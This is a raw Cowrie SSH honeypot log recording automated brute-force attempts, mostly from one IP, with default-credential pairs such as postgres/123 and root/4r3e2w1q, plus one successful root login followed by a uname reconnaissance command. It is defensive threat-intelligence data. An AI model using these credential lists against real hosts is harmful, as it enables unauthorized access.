{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:24.818058Z","src_ip":"101.44.96.62","session":"ad07822d6bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:24.841897Z","src_ip":"2.57.122.238","session":"996fc2164819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:25.480917Z","src_ip":"101.44.96.62","session":"ad07822d6bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:25.946239Z","src_ip":"2.57.122.238","session":"996fc2164819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:26.700578Z","src_ip":"101.44.96.62","session":"ad07822d6bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":53182,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5ea57e58a60","protocol":"ssh","message":"New connection: 101.44.96.62:53182 (159.203.135.109:22) [session: d5ea57e58a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:38.087838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:38.091838Z","src_ip":"101.44.96.62","session":"d5ea57e58a60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:38.308637Z","src_ip":"101.44.96.62","session":"d5ea57e58a60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svnuser","password":"123456","message":"login attempt [svnuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:38.961612Z","src_ip":"101.44.96.62","session":"d5ea57e58a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:40.181801Z","src_ip":"101.44.96.62","session":"d5ea57e58a60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":32788,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cc2ea1b31e6","protocol":"ssh","message":"New connection: 101.44.96.62:32788 (159.203.135.109:22) [session: 9cc2ea1b31e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:51.587025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:51.591601Z","src_ip":"101.44.96.62","session":"9cc2ea1b31e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:51.812306Z","src_ip":"101.44.96.62","session":"9cc2ea1b31e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"123456","message":"login attempt [dolphinscheduler/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:52.481794Z","src_ip":"101.44.96.62","session":"9cc2ea1b31e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:53.702466Z","src_ip":"101.44.96.62","session":"9cc2ea1b31e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41200,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a96e13f4272","protocol":"ssh","message":"New connection: 101.44.96.62:41200 (159.203.135.109:22) [session: 3a96e13f4272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:05.103234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:05.113814Z","src_ip":"101.44.96.62","session":"3a96e13f4272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:05.333194Z","src_ip":"101.44.96.62","session":"3a96e13f4272","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:05.989637Z","src_ip":"101.44.96.62","session":"3a96e13f4272","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:06.491518Z","src_ip":"101.44.96.62","session":"3a96e13f4272","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:06.500210Z","src_ip":"101.44.96.62","session":"3a96e13f4272","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:06.722992Z","src_ip":"101.44.96.62","session":"3a96e13f4272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:06.729147Z","src_ip":"101.44.96.62","session":"3a96e13f4272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":35460,"dst_ip":"159.203.135.109","dst_port":22,"session":"73e1c7dcedd0","protocol":"ssh","message":"New connection: 101.44.96.62:35460 (159.203.135.109:22) [session: 73e1c7dcedd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:18.553777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:18.558586Z","src_ip":"101.44.96.62","session":"73e1c7dcedd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:18.776987Z","src_ip":"101.44.96.62","session":"73e1c7dcedd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plexserver","password":"plexserver","message":"login attempt [plexserver/plexserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:19.435446Z","src_ip":"101.44.96.62","session":"73e1c7dcedd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:20.655446Z","src_ip":"101.44.96.62","session":"73e1c7dcedd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38076,"dst_ip":"159.203.135.109","dst_port":22,"session":"16a7372b0b01","protocol":"ssh","message":"New connection: 101.44.96.62:38076 (159.203.135.109:22) [session: 16a7372b0b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:31.923105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:31.927335Z","src_ip":"101.44.96.62","session":"16a7372b0b01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:32.141853Z","src_ip":"101.44.96.62","session":"16a7372b0b01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:32.785162Z","src_ip":"101.44.96.62","session":"16a7372b0b01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:34.003077Z","src_ip":"101.44.96.62","session":"16a7372b0b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38392,"dst_ip":"159.203.135.109","dst_port":22,"session":"26aa2dc9ca77","protocol":"ssh","message":"New connection: 101.44.96.62:38392 (159.203.135.109:22) [session: 26aa2dc9ca77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:45.339701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:45.344433Z","src_ip":"101.44.96.62","session":"26aa2dc9ca77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:45.561529Z","src_ip":"101.44.96.62","session":"26aa2dc9ca77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:46.213863Z","src_ip":"101.44.96.62","session":"26aa2dc9ca77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:47.433714Z","src_ip":"101.44.96.62","session":"26aa2dc9ca77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:56.090333Z","src_ip":"124.163.255.210","session":"4ff14da8c95c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":40182,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ba82c26dd63","protocol":"ssh","message":"New connection: 101.44.96.62:40182 (159.203.135.109:22) [session: 0ba82c26dd63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:58.832398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:58.837409Z","src_ip":"101.44.96.62","session":"0ba82c26dd63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:59.056212Z","src_ip":"101.44.96.62","session":"0ba82c26dd63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:30:59.706485Z","src_ip":"101.44.96.62","session":"0ba82c26dd63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:00.926359Z","src_ip":"101.44.96.62","session":"0ba82c26dd63","protocol":"ssh"}
